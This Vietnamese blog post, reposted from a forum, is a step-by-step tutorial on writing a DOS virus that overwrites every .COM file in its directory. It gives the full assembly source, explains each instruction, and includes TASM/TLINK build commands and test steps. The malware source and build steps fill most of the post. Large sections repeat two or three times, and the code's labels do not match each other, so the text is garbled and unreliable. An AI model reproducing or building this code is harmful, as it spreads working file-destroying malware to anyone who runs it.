Sau những ngày vất vả với bác Google để tìm tài liệu và bài viết về virus, thì cuối cùng mình cũng tìm được "Phao cứu sinh" - một bài hướng dẫn rõ ràng viết một con virus, đọc cái này mình đã hiểu được sơ sơ về các mã hợp ngữ mà lâu nay mình vẫn điên đầu với nó (đọc mà chả có hiểu gì hết). Hi vọng sau khi đọc hiểu xong bài này mình sẽ tìm được hướng đi cho đề tài khóa luận của mình. Mượn bài của bác BacNinhOnline trong diễn đàn tin học đưa vào Blog mình để làm tài liệu tham khảo (đỡ phải mất công search với bác Google nữa). Để hiểu rõ được cách sử dụng các ngắt của DOS mình cũng cần phải sử dụng kèm techhelp để tra các ngắt của DOS.
(Sử dụng tài liệu của nhóm Code Breaker)
Trước tiên hãy xem đoạn mã của virus:
code segment
assume cs:code,ds:code
org 100h
virus proc near
first_file:
mov ah,4eh
tim_file:
xor cx,cx
lea dx,comsig
int 21h
jc ketthuc
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny - offset first_fly
lea dx,first_fly
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
ketthuc:
mov ah,09h
mov dx,offset wart
int 21h
cya: int 20h
comsig db "*.com",0
msgadd db 'Congratulations! You have infected all the COM files
in this ',10,13
db 'directory . Have a
nice day.',10,13,'
horny label near
virus endp
code ends
end first_fly
Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng chung của một file .com, chúng ta hãy phân tích đoạn mã trên:
================================================== ======
code segment
tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu trúc khai báo là như sau:
segment_name segment
------------
----------
----------
segment_name Ends
end
Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này.
================================================== ======
assume cs:code,ds:code
Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với
CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình.
org 100h
org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100 hex hay 256 bytes.
================================================== ======
proc virus near
Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó. ================================================== ======
first_file:
mov ah,4eh
Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm được gọi là nhãn, nó hữ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi...
Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ liệu... .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia
Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH - BL, CH - CL, va’ DH - DL. Giá trị cần nạp vào thanh ghi chung là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là chuyển giá trị 4e hex vào AH
==================================================
tim_file:
xor cx,cx
Việc tiếp theo cần làm là giá trị trong CX =0, chúng ta có thể làm bằng 2 cách , một là MOV CX, 0, hai là XOR CX, CX tuy nhiên nấu sử dụng MOV CX,0 chúng ta sẽ mất 3 bytes trong khi sử dụng XOR CX,CX chúng ta chỉ mất 2 bytes và chúng đều có chức năng set cho CX =0. Vậy thì tốt hơn là nên chọn XOR CX,CX
==================================================
lea dx,comsig
Tiếp theo chúng ta cần nạp chuỗi với file chỉ định mà chúng ta tìm kiếm vào DX.
Chúng ta đang tìm file . COM. Vi vay chuỗi cần tìm là *.COM. Đây là cách tìm kiếm những tập tin có đuôi là *.COM. Chuỗi này được xác định tại địa chỉ comsig trong data segment của virus . Và để chuyển chuỗi đó vào DX chúng ta thực hiện lệnh
LEA DX, comsig, Load the Effective Address of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng cách như sau
MOV DX, offset comsig. ==================================================
int 21h
Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Có 256 lệnh ngắt các bạn có thể tham khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết)
==================================================
jc ketthuc
Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó .
================================================== ===========
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu "h" sau int 21 hay sau các số ở hệ HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính sẽ coi D,E,F chả ra củ khoai gì .... Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định trong PSP trong một vùng gọi là DTA hay Disk Transfer Area. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la’ 80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset 1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ thức hiện int 21h để thi hành thủ tục trên.
==============================================================VIẾT MỘT VIRUS GHI ĐÈ LÊN FILE *.COM BẰNG ASM
(Sử dụng tài liệu của nhóm Code Breaker)
Trước tiên hãy xem đoạn mã của virus:
code segment
assume cs:code,ds:code
org 100h
virus proc near
first_file:
mov ah,4eh
tim_file:
xor cx,cx
lea dx,comsig
int 21h
jc ketthuc
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny - offset first_fly
lea dx,first_fly
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
ketthuc:
mov ah,09h
mov dx,offset wart
int 21h
cya: int 20h
comsig db "*.com",0
msgadd db 'Congratulations! You have infected all the COM files
in this ',10,13
db 'directory . Have a
nice day.',10,13,'
horny label near
virus endp
code ends
end first_fly
Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng chung của một file .com, chúng ta hãy phân tích đoạn mã trên:
================================================== ======
code segment
tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu trúc khai báo là như sau:
segment_name segment
------------
----------
----------
segment_name Ends
end
Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này.
================================================== ======
assume cs:code,ds:code
Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với
CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình.
org 100h
org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100 hex hay 256 bytes.
================================================== ======
proc virus near
Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó. ================================================== ======
first_file:
mov ah,4eh
Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm được gọi là nhãn, nó hữ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi...
Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ liệu... .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia
Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH - BL, CH - CL, va’ DH - DL. Giá trị cần nạp vào thanh ghi chung là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là chuyển giá trị 4e hex vào AH
==================================================
tim_file:
xor cx,cx
Việc tiếp theo cần làm là giá trị trong CX =0, chúng ta có thể làm bằng 2 cách , một là MOV CX, 0, hai là XOR CX, CX tuy nhiên nấu sử dụng MOV CX,0 chúng ta sẽ mất 3 bytes trong khi sử dụng XOR CX,CX chúng ta chỉ mất 2 bytes và chúng đều có chức năng set cho CX =0. Vậy thì tốt hơn là nên chọn XOR CX,CX
==================================================
lea dx,comsig
Tiếp theo chúng ta cần nạp chuỗi với file chỉ định mà chúng ta tìm kiếm vào DX.
Chúng ta đang tìm file . COM. Vi vay chuỗi cần tìm là *.COM. Đây là cách tìm kiếm những tập tin có đuôi là *.COM. Chuỗi này được xác định tại địa chỉ comsig trong data segment của virus . Và để chuyển chuỗi đó vào DX chúng ta thực hiện lệnh
LEA DX, comsig, Load the Effective Address of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng cách như sau
MOV DX, offset comsig. ==================================================
int 21h
Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Có 256 lệnh ngắt các bạn có thể tham khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết)
==================================================
jc ketthuc
Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó .
================================================== ===========
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu "h" sau int 21 hay sau các số ở hệ HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính sẽ coi D,E,F chả ra củ khoai gì .... Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định trong PSP trong một vùng gọi là DTA hay Disk Transfer Area. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la’ 80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset 1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ thức hiện int 21h để thi hành thủ tục trên.
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny - offset first_fly
lea dx,first_fly
int 21h
Đây là phần làm nhiễm file sau khi đã mở nó .Ở đoạn mã trước File handle của file được mở nằm trong AX chúng ta cần nó nằm trong BX vậy nên thực hiện lệnh
xchg bx,ax bằng cách này toàn bộ giá trị trong ax sẽ chuyển vào bx . CX cần được nạp một số lượng byte mà chúng ta muốn ghi vào. Và thay vì ta sử dụng một con số nào đó để chỉ định số bytes ta để máy tính tính khoảng cách từ 2 offset nhãn horny và firts_fly như vậy khoảng cách từ nhãn first_fly đến horny là số lượng bytes mà chúng ta muốn ghi vào file. Cuối cùng, DX cần được nạp địa chỉ mà chúng ta muốn ghi và địa chỉ cua’ first_fly được nạp vào DX. Đó là phần bắt đầu của mã mà chúng ta muốn ghi vào file tìm thấy .Sau đó thực hiện int 21 sẽ hoàn tất việc làm nhiễm file.
================================================== ==
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
Sau khi file đã bị nhiễm chúng ta cần đóng file đó lại và đây là đoạn mã thực hiện việc này. Sau khi đóng file chúng ta nạp 4f hex vào AH rồi nhảy trở về đoạn mã để tìm file .COM kế tiếp. Và nó sẽ thực hiện việc nhiễm file cho đến khi nào tất cả file .COM trong thu muc chưa nó đã bị nhiễm.Lúc đó cờ carry=1 và lệnh nhảy jc sẽ hoạt động đưa ra thông báo chúc mừng.
==================================================
Ketthuc:
mov ah,9
mov dx,offset wart
int 21h
==================================================
cya: int 20h
Chức năng của int 20 là kết thúc chương trình , tuy nhiên cách hiện nay hay dùng là MOV AH,4CH
int 21
==================================================
comsig db "*.com",0
msgadd db 'Congratulations! You have infected all the COM files
in this',10,13
db 'Have a nice day.',10,13,'$'
Đây là data segment nói một cách nọm na là tương tự như bạn khai báo hằng (Const) ở pascal,C++ vậy.Và các hằng này sẽ được sử dụng trong code segment. Chúng ta sử dụng định nghĩa byte DB, để định nghĩa một chuỗi. Việc đặt 10,13 sau các chuỗi giúp cho việc hiển thị nó có thứ tự nếu không cả hai chuỗi sẽ hiển thị cùng lúc lên màn hinh $ tại phần cuối của dòng 2 báo hiệu kết thúc chuôi ==================================================
horny label near
nhãn horny chỉ có một mục đích là để xác điịnh offset trong việc xác định số byte ghi vào file cần làm nhiễm
======================================================
virus endp
code ends
end first_fly
kết thúc chương trình
==================================================
Biên dịch virus :
Bạn cần có TASM hay MASM. Trongbài này tôi hướng dẫn các bạn biên dịch virus bằng TASM. Các file cần có virus.asm TASM.EXE, TLINK
Đầu tiên lưu nó thành file ".asm" file,có thể sử dụng Notepad để soạn thảo mã rồi save as virus.asm. Sử dụng TASM gõ lệnh:
C:\>tasm virus.asm
Kết quả có thể là như sau:
Turbo Assembler Version 2.01
Assembling file: virus.asm
Error Messages: none
Warning Messages: none
Passes: 1
Remaining Memory: 418k (or something similar)
Nếu không có lỗi nào, nếu có lỗi nó sẽ báo cho bạn biết lỗi gì ở dòng nào .
Sau khi gõ lệnh TASM [asm] bạn sẽ được file *.obj
Để tạo COM file bạn gõ lệnh:
C:\>tlink /t virus.obj
Tlink sẽ tạo ra file virus.COM
Bây giờ hãy thử nghiệmvirus của bạn, mở Notepad lên, ghi gì tùy bạn , không ghi cũng được lưu thành file vidu.com. đặt nóvào thư muc của virus bạn vừa biên dịch. Rồi chạy virus bạn sẽ thấy kích thước của file vidu.com bây giờ sẽ bằng kích thước của virus(180 bytes). Tuy nhiên nhược virus này sẽ làm nhiễm tất cả các file .com trong thư mục chứa nó mà không cần biết file đó đã bị nhiễm hay chưa, ở phần sau tôi sẽ hướng dẫn các bạn cách để kiểm tra xem một file đã bị nhiễm hay chưa. Và cònmột điều nữa là virus này không có tác dụng với những file .com có size lớn hơn nó (đây chỉ là để minh họa nên tôi nghĩ như vậy là đủ)
horny label near
virus endp
code ends
end first_fly
Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng chung của một file .com, chúng ta hãy phân tích đoạn mã trên:
================================================== ======
code segment
tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu trúc khai báo là như sau:
segment_name segment
------------
----------
----------
segment_name Ends
end
Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này.
================================================== ======
assume cs:code,ds:code
Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với
CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình.
org 100h
org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100 hex hay 256 bytes.
================================================== ======
proc virus near
Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó. ================================================== ======
first_file:
mov ah,4eh
Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm được gọi là nhãn, nó hữ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi...
Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ liệu... .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia
Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH - BL, CH - CL, va’ DH - DL. Giá trị cần nạp vào thanh ghi chung là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là chuyển giá trị 4e hex vào AH
==================================================
tim_file:
xor cx,cx
Việc tiếp theo cần làm là giá trị trong CX =0, chúng ta có thể làm bằng 2 cách , một là MOV CX, 0, hai là XOR CX, CX tuy nhiên nấu sử dụng MOV CX,0 chúng ta sẽ mất 3 bytes trong khi sử dụng XOR CX,CX chúng ta chỉ mất 2 bytes và chúng đều có chức năng set cho CX =0. Vậy thì tốt hơn là nên chọn XOR CX,CX
==================================================
lea dx,comsig
Tiếp theo chúng ta cần nạp chuỗi với file chỉ định mà chúng ta tìm kiếm vào DX.
Chúng ta đang tìm file . COM. Vi vay chuỗi cần tìm là *.COM. Đây là cách tìm kiếm những tập tin có đuôi là *.COM. Chuỗi này được xác định tại địa chỉ comsig trong data segment của virus . Và để chuyển chuỗi đó vào DX chúng ta thực hiện lệnh
LEA DX, comsig, Load the Effective Address of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng cách như sau
MOV DX, offset comsig. ==================================================
int 21h
Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Có 256 lệnh ngắt các bạn có thể tham khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết)
==================================================
jc ketthuc
Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó .
==================================================
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu "h" sau int 21 hay sau các số ở hệ HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính sẽ coi D,E,F chả ra củ khoai gì .... Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định trong PSP trong một vùng gọi là DTA hay Disk Transfer Area. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la’ 80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset 1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ thức hiện int 21h để thi hành thủ tục trên.
==============================================================
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny - offset first_fly
lea dx,first_fly
int 21h
Đây là phần làm nhiễm file sau khi đã mở nó .Ở đoạn mã trước File handle của file được mở nằm trong AX chúng ta cần nó nằm trong BX vậy nên thực hiện lệnh
xchg bx,ax bằng cách này toàn bộ giá trị trong ax sẽ chuyển vào bx . CX cần được nạp một số lượng byte mà chúng ta muốn ghi vào. Và thay vì ta sử dụng một con số nào đó để chỉ định số bytes ta để máy tính tính khoảng cách từ 2 offset nhãn horny và firts_fly như vậy khoảng cách từ nhãn first_fly đến horny là số lượng bytes mà chúng ta muốn ghi vào file. Cuối cùng, DX cần được nạp địa chỉ mà chúng ta muốn ghi và địa chỉ cua’ first_fly được nạp vào DX. Đó là phần bắt đầu của mã mà chúng ta muốn ghi vào file tìm thấy .Sau đó thực hiện int 21 sẽ hoàn tất việc làm nhiễm file.
==================================================
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
Sau khi file đã bị nhiễm chúng ta cần đóng file đó lại và đây là đoạn mã thực hiện việc này. Sau khi đóng file chúng ta nạp 4f hex vào AH rồi nhảy trở về đoạn mã để tìm file .COM kế tiếp. Và nó sẽ thực hiện việc nhiễm file cho đến khi nào tất cả file .COM trong thu muc chưa nó đã bị nhiễm.Lúc đó cờ carry=1 và lệnh nhảy jc sẽ hoạt động đưa ra thông báo chúc mừng.
==================================================
Ketthuc:
mov ah,9
mov dx,offset wart
int 21h
================================================== ================
cya: int 20h
Chức năng của int 20 là kết thúc chương trình , tuy nhiên cách hiện nay hay dùng là MOV AH,4CH
int 21
==================================================
comsig db "*.com",0
msgadd db 'Congratulations! You have infected all the COM files
in this',10,13
db 'Have a nice day.',10,13,'$'
Đây là data segment nói một cách nọm na là tương tự như bạn khai báo hằng (Const) ở pascal,C++ vậy.Và các hằng này sẽ được sử dụng trong code segment. Chúng ta sử dụng định nghĩa byte DB, để định nghĩa một chuỗi. Việc đặt 10,13 sau các chuỗi giúp cho việc hiển thị nó có thứ tự nếu không cả hai chuỗi sẽ hiển thị cùng lúc lên màn hinh $ tại phần cuối của dòng 2 báo hiệu kết thúc chuôi ==================================================
horny label near
nhãn horny chỉ có một mục đích là để xác điịnh offset trong việc xác định số byte ghi vào file cần làm nhiễm ==================================================
virus endp
code ends
end first_fly
kết thúc chương trình
==================================================
Biên dịch virus :
Bạn cần có TASM hay MASM. Trongbài này tôi hướng dẫn các bạn biên dịch virus bằng TASM. Các file cần có virus.asm TASM.EXE, TLINK
Đầu tiên lưu nó thành file ".asm" file,có thể sử dụng Notepad để soạn thảo mã rồi save as virus.asm. Sử dụng TASM gõ lệnh:
C:\>tasm virus.asm
Kết quả có thể là như sau:
Turbo Assembler Version 2.01
Assembling file: virus.asm
Error Messages: none
Warning Messages: none
Passes: 1
Remaining Memory: 418k (or something similar)
Nếu không có lỗi nào, nếu có lỗi nó sẽ báo cho bạn biết lỗi gì ở dòng nào .
Sau khi gõ lệnh TASM [asm] bạn sẽ được file *.obj
Để tạo COM file bạn gõ lệnh:
C:\>tlink /t virus.obj
Tlink sẽ tạo ra file virus.COM
Bây giờ hãy thử nghiệmvirus của bạn, mở Notepad lên, ghi gì tùy bạn , không ghi cũng được lưu thành file vidu.com. đặt nóvào thư muc của virus bạn vừa biên dịch. Rồi chạy virus bạn sẽ thấy kích thước của file vidu.com bây giờ sẽ bằng kích thước của virus(180 bytes). Tuy nhiên nhược virus này sẽ làm nhiễm tất cả các file .com trong thư mục chứa nó mà không cần biết file đó đã bị nhiễm hay chưa, ở phần sau tôi sẽ hướng dẫn các bạn cách để kiểm tra xem một file đã bị nhiễm hay chưa. Và cònmột điều nữa là virus này không có tác dụng với những file .com có size lớn hơn nó (đây chỉ là để minh họa nên tôi nghĩ như vậy là đủ)



0 nhận xét:
Đăng nhận xét